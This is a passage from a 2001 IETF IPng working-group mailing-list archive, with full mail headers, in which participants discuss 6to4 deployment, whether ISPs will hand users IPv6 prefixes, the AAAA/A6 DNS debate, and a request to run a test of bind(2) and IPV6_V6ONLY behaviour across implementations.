adopted the "6to4 anycast" draft, so that we could deploy 6to4 boxes that automatically find a default route to ::/0; this draft is in the RFC editor's queue, pending IANA processing. A second one is to enable the "6to4 boxes" to automatically receive an IPv6 address prefix from an ISP, and then be able to propagate that prefix to a local network, e.g. a home network. If we had that capacity, then the "box" could be programmed to not start the 6to4 operation if it can find a better, native, alternative. We can more or less do this today in a clunky way, through a mix of PPPv6 and router advertisements; we are lacking a properly engineered standard. Indeed, this standard would be particularly helpful for the ISPs who, for some reason, cannot provide global IPv4 addresses to their users. As for the other consequences of 6to4, the main one will be to raise expectations. 6to4 enables a user to derive an IPv6 prefix from a single global IPv4 address. Many solutions will be using this capability, e.g. providing global addresses to multiple devices, or using multiple addresses for different functions within a single computer. This imply that the "native v6" ISP will be expected to provide users with a prefix, not a single host address -- otherwise, the native v6 solution will be perceived as inferior to the existing 6to4 solution. -- Christian Huitema -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 13:42:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48KgdIM014591 for ; Tue, 8 May 2001 13:42:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48Kgc9Q014590 for ipng-dist; Tue, 8 May 2001 13:42:38 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48KgTIM014583 for ; Tue, 8 May 2001 13:42:29 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA20205 for ; Tue, 8 May 2001 13:42:28 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA16578 for ; Tue, 8 May 2001 13:42:27 -0700 (PDT) Received: from endor.eas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id QAA15631 for ; Tue, 8 May 2001 16:42:20 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.eas.harvard.edu (8.8.8/8.8.8) id QAA20045 for ipng@sunroof.eng.sun.com; Tue, 8 May 2001 16:42:21 -0400 (EDT) Date: Tue, 8 May 2001 16:42:21 -0400 (EDT) Message-Id: <200105082042.QAA20045@endor.eas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk David Terrell wrote: |On Tue, May 08, 2001 at 05:02:26AM -0400, Dan Lanciani wrote: |>It's relevant unless you eliminate 6to4 and any other scheme that |>generates portable v6 address space from v4 space. 6to4 is actually |>rather interesting in that it has the potential to overtake "native" |>v6 addressing (especially considering Microsoft's treatment of 6to4 |>as a first-class citizen). Once 6to4 has served its purpose of |>jump-starting IPv6 deployment and the time comes to kill it off in |>favor of native aggregated addressing, the task may be more difficult |>than was anticipated. If the bulk of users are on the 6to4 side, |>simply severing ties to the native backbone won't do the trick since |>that would hurt the native users more than the 6to4 users. It would |>instead require action on the v4 backbone to block the encapsulated |>6to4 traffic, and that might raise some eyebrows. | |Simply shutting down the 6to4 translators would have a similar |effect. Similar to what? Shutting down the public translators (I assume you mean the routers that have both a 6to4 address and a native v6 address) is exactly severing the tie between the 6to4 space and the native backbone. If most of the users are on the 6to4 side, this is not much of a threat (to the 6to4 users anyway). Communications between two 6to4 nodes does not require any public translator, and you won't be able to shut down the private translators within sites. As I said, you would have to block the encapsulated v6 traffic on the v4 backbone, and even that might become tricky if the 6to4 users band together and adopt some sort of encryption... Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 13:55:59 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f48KsOr14689 for ipng-dist; Tue, 8 May 2001 13:54:24 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f48KsE414682 for ; Tue, 8 May 2001 13:54:14 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA24726 for ; Tue, 8 May 2001 13:54:13 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12574 for ; Tue, 8 May 2001 13:54:12 -0700 (PDT) Received: from endor.deas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id QAA16094 for ; Tue, 8 May 2001 16:54:05 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.deas.harvard.edu (8.8.8/8.8.8) id QAA20088 for ipng@sunroof.eng.sun.com; Tue, 8 May 2001 16:54:06 -0400 (EDT) Date: Tue, 8 May 2001 16:54:06 -0400 (EDT) Message-Id: <200105082054.QAA20088@endor.deas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: Consequences of 6to4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Christian Huitema" wrote: |> It's relevant unless you eliminate 6to4 and any other scheme that |> generates portable v6 address space from v4 space. 6to4 is actually |> rather interesting in that it has the potential to overtake "native" |v6 |> addressing (especially considering Microsoft's treatment of 6to4 as a |> first-class citizen). | |The main advantage of 6to4 is that we can jumpstart IPv6 quickly, |without requiring any tunnel configuration. We get a solution that is as |easy to deploy as a NAT, but which does enable global addressing and is |thus markedly superior in several important communication scenarios, |e.g. peer-to-peer applications, voice and video communication, |multi-player games. I agree; I think 6to4 is a great thing. In one swoop it actually makes most all of the other v6 work useful to many, many end users. |Note however that these scenarios do not require "portable" addresses. I didn't say that 6to4 requires a portable address. I said that if you have portable v4 address space you can use 6to4 to create portable v6 address space. Lots of v6 address space... |As for the other consequences of 6to4, the main one will be to raise |expectations. 6to4 enables a user to derive an IPv6 prefix from a single |global IPv4 address. Many solutions will be using this capability, e.g. |providing global addresses to multiple devices, or using multiple |addresses for different functions within a single computer. This imply |that the "native v6" ISP will be expected to provide users with a |prefix, not a single host address -- otherwise, the native v6 solution |will be perceived as inferior to the existing 6to4 solution. Yes, and that's going to annoy the ISP no end. Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 15:46:39 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f48Mj2e14955 for ipng-dist; Tue, 8 May 2001 15:45:02 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f48Mio414948 for ; Tue, 8 May 2001 15:44:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA20078 for ; Tue, 8 May 2001 15:44:50 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA16484 for ; Tue, 8 May 2001 16:44:52 -0600 (MDT) Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 14xGDo-0004ki-00; Tue, 08 May 2001 18:44:48 -0400 Date: Tue, 8 May 2001 18:44:46 -0400 (EDT) From: Nathan Lutchansky To: Christian Huitema cc: ipng mailing list Subject: Re: Consequences of 6to4 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 8 May 2001, Christian Huitema wrote: > As for the other consequences of 6to4, the main one will be to raise > expectations. 6to4 enables a user to derive an IPv6 prefix from a single > global IPv4 address. Many solutions will be using this capability, e.g. > providing global addresses to multiple devices, or using multiple > addresses for different functions within a single computer. This imply > that the "native v6" ISP will be expected to provide users with a > prefix, not a single host address -- otherwise, the native v6 solution > will be perceived as inferior to the existing 6to4 solution. Christian, One would hope that 6to4 would put market pressure on ISPs to provide end users with an entire /48 prefix, rather than just a /128. Unfortunately, I don't believe that most consumers in the US will care about IPv6, or even have the option of native IPv6 service until we have reached the point that standard dialup service will only provide users with private addresses that are NAT-ed by the ISP itself. I know of many ISPs, mostly bargain-basement providers, that no longer give out global addresses, and the situation will likely worsten before IPv6 becomes popular. I can't wait until AOL-Time-Warner or AT&T Worldnet start offering reduced rates for those willing to live exclusively with NAT-ed addresses. (You can't run a server on a private address, so that virtually guarantees that your reduced-rate users won't cost you much anyway.) Most people would rather live behind multiple layers of NATs than pay more for their connectivity. After all, the software will just work around it, right? -Nathan -- +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 16:27:39 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f48NQEv15018 for ipng-dist; Tue, 8 May 2001 16:26:14 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f48NQ3415011 for ; Tue, 8 May 2001 16:26:03 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA26720 for ; Tue, 8 May 2001 16:26:03 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA20922 for ; Tue, 8 May 2001 16:26:02 -0700 (PDT) Received: from localhost ([3ffe:8050:201:1860:a427:98d0:6801:b06b]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id IAA26530; Wed, 9 May 2001 08:25:02 +0900 (JST) Date: Wed, 09 May 2001 08:24:43 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: users@ipv6.org, ipng@sunroof.eng.sun.com Subject: questionnaire: bind(2) (and IPV6_V6ONLY) behavior User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 38 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, (sorry for cross-posting). I'm now looking at how each IPv6 implementation is friendly with bind9, especially on the bind(2) system call ordering issues. As the first step, I'd like to collect differences among implementations using some test scripts. So, if you have time, could you spend some time to do the test on your system(s)? The test tool is freely available at the following URL: http://orange.kame.net/dev/cvsweb.cgi/kame/kame/kame/bindtest/ and the results so far at http://www.kame.net/newsletter/20010504/ Here is a step by step instruction of the test: - compile bindtest (see Makefile) - run test.sh like this: % sh test.sh myplatform.txt - send myplatform.txt to me, with exact indication of OS name/version number/build date/whatever I hear that some systems have already supported a new IPv6 socket option "IPV6_V6ONLY". I'm particularly interested in the results on such systems (the latest test.sh contains some tests with the option). We'll basically put the results on the URL above, so that everyone can refer to it. If you can do tests but do not want to make the result open, please explicitly say so when sending the result. Thanks in advance, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 20:23:05 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f493Lfd15186 for ipng-dist; Tue, 8 May 2001 20:21:41 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f493LW415179 for ; Tue, 8 May 2001 20:21:32 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA28580 for ; Tue, 8 May 2001 20:21:32 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id UAA15979 for ; Tue, 8 May 2001 20:21:31 -0700 (PDT) Received: from endor.eas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id XAA23667 for ; Tue, 8 May 2001 23:21:29 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.eas.harvard.edu (8.8.8/8.8.8) id XAA20662 for ipng@sunroof.eng.sun.com; Tue, 8 May 2001 23:21:30 -0400 (EDT) Date: Tue, 8 May 2001 23:21:30 -0400 (EDT) Message-Id: <200105090321.XAA20662@endor.eas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: RE: Consequences of 6to4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Christian Huitema" wrote: |> |As for the other consequences of 6to4, the main one will be to raise |> |expectations. 6to4 enables a user to derive an IPv6 prefix from a |single |> |global IPv4 address. Many solutions will be using this capability, |e.g. |> |providing global addresses to multiple devices, or using multiple |> |addresses for different functions within a single computer. This |imply |> |that the "native v6" ISP will be expected to provide users with a |> |prefix, not a single host address -- otherwise, the native v6 |solution |> |will be perceived as inferior to the existing 6to4 solution. |> |> Yes, and that's going to annoy the ISP no end. | |Uh, I don't perceive IPv6 as a tool to annoy the ISPs. I didn't say it was. In fact, I'm sure some ISPs see IPv6 as a great tool to extract more money from end users by replacing NAT'ed addresses with countable v6 addresses. :) What will annoy ISPs is the perception (caused by 6to4) that an entire prefix should be the norm. As you observed. |ISPs are selling |a product that users use to run applications and get services. ISP |services compare in terms of how many applications you can run |(transparency), how fast (bandwidth), how reliably, how easily and at |what price. The price and the offer are mostly determined by cost and |competition; the cost depends largely on the underlying technology, how |easy it is to manage, how many support calls do we expect from users, |etc. I think that might be a bit of an oversimplification... Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 01:18:12 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f498GXG15481 for ipng-dist; Wed, 9 May 2001 01:16:33 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f498GE415474 for ; Wed, 9 May 2001 01:16:15 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA14732 for ; Wed, 9 May 2001 01:16:14 -0700 (PDT) Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id CAA01844 for ; Wed, 9 May 2001 02:16:17 -0600 (MDT) Received: from 157.54.1.52 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 08 May 2001 16:26:49 -0700 (Pacific Daylight Time) Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 8 May 2001 16:25:40 -0700 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.82]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 8 May 2001 16:25:40 -0700 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Tue, 8 May 2001 16:25:18 -0700 content-class: urn:content-classes:message Subject: RE: Consequences of 6to4 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 8 May 2001 16:25:18 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4688.0 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Consequences of 6to4 Thread-Index: AcDYAXUi+CkRqQH7SYuab0mBLgHSIAAE9Mvw From: "Christian Huitema" To: "Dan Lanciani" , X-OriginalArrivalTime: 08 May 2001 23:25:18.0437 (UTC) FILETIME=[24C87150:01C0D816] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f498GG415475 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > |As for the other consequences of 6to4, the main one will be to raise > |expectations. 6to4 enables a user to derive an IPv6 prefix from a single > |global IPv4 address. Many solutions will be using this capability, e.g. > |providing global addresses to multiple devices, or using multiple > |addresses for different functions within a single computer. This imply > |that the "native v6" ISP will be expected to provide users with a > |prefix, not a single host address -- otherwise, the native v6 solution > |will be perceived as inferior to the existing 6to4 solution. > > Yes, and that's going to annoy the ISP no end. Uh, I don't perceive IPv6 as a tool to annoy the ISPs. ISPs are selling a product that users use to run applications and get services. ISP services compare in terms of how many applications you can run (transparency), how fast (bandwidth), how reliably, how easily and at what price. The price and the offer are mostly determined by cost and competition; the cost depends largely on the underlying technology, how easy it is to manage, how many support calls do we expect from users, etc. If we provide technology that let ISP provide better services at a reasonable cost, there will be more demand, the market will expand, etc. Everybody will be happier. -- Christian Huitema -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 01:19:36 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f498IHU15502 for ipng-dist; Wed, 9 May 2001 01:18:17 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f498Hu415492 for ; Wed, 9 May 2001 01:17:57 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA25329 for ; Wed, 9 May 2001 01:17:55 -0700 (PDT) Received: from goofy.inrialpes.fr (goofy.inrialpes.fr [194.199.24.107]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA27980 for ; Wed, 9 May 2001 01:17:54 -0700 (PDT) Received: from wells by goofy.inrialpes.fr with local (Exim 3.22 #1 (Debian)) id 14xPAP-0000a5-00 for ; Wed, 09 May 2001 10:17:53 +0200 Date: Wed, 9 May 2001 10:17:53 +0200 From: John Wells To: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Message-ID: <20010509101753.A2201@goofy.inrialpes.fr> References: <200105082042.QAA20045@endor.eas.harvard.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline User-Agent: Mutt/1.3.15i In-Reply-To: <200105082042.QAA20045@endor.eas.harvard.edu>; from ddl@deas.harvard.edu on Tue, May 08, 2001 at 04:42:21PM -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Thanks for the DNS discussion folks. It sounds interesting but a wee bit off-topic for the IPv6 listserv. Could we move this to a more appropriate listserv unless there is something pertinent to this listserv? John mardi, le 08 mai 2001 =E0 16h42 -0400, Dan Lanciani a =E9crit : > David Terrell wrote: >=20 > |On Tue, May 08, 2001 at 05:02:26AM -0400, Dan Lanciani wrote: > |>It's relevant unless you eliminate 6to4 and any other scheme that > |>generates portable v6 address space from v4 space. 6to4 is actually > |>rather interesting in that it has the potential to overtake "native" > |>v6 addressing (especially considering Microsoft's treatment of 6to4 > |>as a first-class citizen). Once 6to4 has served its purpose of > |>jump-starting IPv6 deployment and the time comes to kill it off in > |>favor of native aggregated addressing, the task may be more difficult > |>than was anticipated. If the bulk of users are on the 6to4 side, > |>simply severing ties to the native backbone won't do the trick since > |>that would hurt the native users more than the 6to4 users. It would > |>instead require action on the v4 backbone to block the encapsulated > |>6to4 traffic, and that might raise some eyebrows. > | > |Simply shutting down the 6to4 translators would have a similar > |effect. >=20 > Similar to what? Shutting down the public translators (I assume you mean > the routers that have both a 6to4 address and a native v6 address) is exa= ctly > severing the tie between the 6to4 space and the native backbone. If most= of > the users are on the 6to4 side, this is not much of a threat (to the 6to4 > users anyway). Communications between two 6to4 nodes does not require any > public translator, and you won't be able to shut down the private transla= tors > within sites. As I said, you would have to block the encapsulated v6 tra= ffic > on the v4 backbone, and even that might become tricky if the 6to4 users b= and > together and adopt some sort of encryption... >=20 > Dan Lanciani > ddl@harvard.edu > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- >=20 --=20 John WELLS ENSIMAG/3A T=E9l=E9comm/R=E9seaux - INRIA Rh=F4ne-Alpes Virginia Tech MS/Computer Engineering - Networking and Visualization Lab --VS++wcV0S1rZb1Fb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjr4/TEACgkQtvPFKAfa3SKXcACggglpC+1KewviH/WnfU5HAghN a0YAn0CIc+Jvl3DJY2LTM9ToZySTki50 =qSUb -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 04:07:53 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49B6lU15856 for ipng-dist; Wed, 9 May 2001 04:06:47 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49B6b415849 for ; Wed, 9 May 2001 04:06:37 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA05314 for ; Wed, 9 May 2001 04:06:36 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA22530 for ; Wed, 9 May 2001 04:06:33 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id SAA26626; Wed, 9 May 2001 18:06:30 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49B6Qh02524; Wed, 9 May 2001 18:06:26 +0700 (ICT) From: Robert Elz To: Dan Lanciani cc: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-Reply-To: <200105080902.FAA18996@endor.deas.harvard.edu> References: <200105080902.FAA18996@endor.deas.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 18:06:26 +0700 Message-ID: <2522.989406386@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 8 May 2001 05:02:26 -0400 (EDT) From: Dan Lanciani Message-ID: <200105080902.FAA18996@endor.deas.harvard.edu> | It's relevant unless you eliminate 6to4 and any other scheme that generates | portable v6 address space from v4 space. Yes, that's a good point. And one I see has been discussed a bit in the past 24hours ... But even granted that that continues to exist, and can't be shut down, it still only creates a numbering space of 2^32 entries (absolute maximum - and since much of that space is already allocated in larger chunks, actually lots smaller than that). It certainly isn't beyond possible that bigger hardware can sometime not too far away manage routing to a flat space that big (and we know we can manage routing to the flat space we have at the minute - as it is currently allocated out). So the 6to4 space doesn't bother me all that much - even if those with permanent IPv4 space want to keep on using it forever. As a problem space, it is bounded, and while that might be a large number, it is a drop in the bucket of the overall IPv6 space. It is the latter that needs to be controlled. And while it is likely that most of the interesting traffic is likely to be on that side of the universe for some time - as the part which cannot get any IPv4 address at all, let alone a permanent one, grows, eventually the balance will shift - perhaps not for a long time - but where there's growth potential on one side, and none on the other, then all the growth has to be on one side... | |For most sites renumbering internally is already cheap - | You must be very lucky; I have yet to encounter such a site. My home is one. It has more systems than your average house I suspect (though nothing like as many as some people I know). But renumbering it is real real easy. Of course that probably wasn't what you were thinking of as a "site" - but it certainly counts, and there are millions of such sites. I deleted all the stuff about ISPs and their practices. I'm not going to argue about random other people's motives. I would just point out that if all those ISPs are charging too much, and doing so by charging for the wrong things, you have a perfect business opportunity in front of you. You can offer a service to people which is closer to what they want (charging for the right things) which should make you popular - and you can charge (overall) less than the others do - so there should be no disincentive to anyone choosing your service. You could do a public good, and make a lot of money at the same time. And given that, you should have no particular difficulty getting investors (large profits doing public good are rather an attractive idea...). Of course, this presumes you're right about the current set of ISPs and their practices. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 04:18:44 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49BHgw15889 for ipng-dist; Wed, 9 May 2001 04:17:42 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49BHX415882 for ; Wed, 9 May 2001 04:17:33 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA21516 for ; Wed, 9 May 2001 04:17:31 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA00741 for ; Wed, 9 May 2001 04:17:30 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id SAA02465; Wed, 9 May 2001 18:17:25 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49BHMh02547; Wed, 9 May 2001 18:17:23 +0700 (ICT) From: Robert Elz To: Masataka Ohta cc: Ian Jackson , 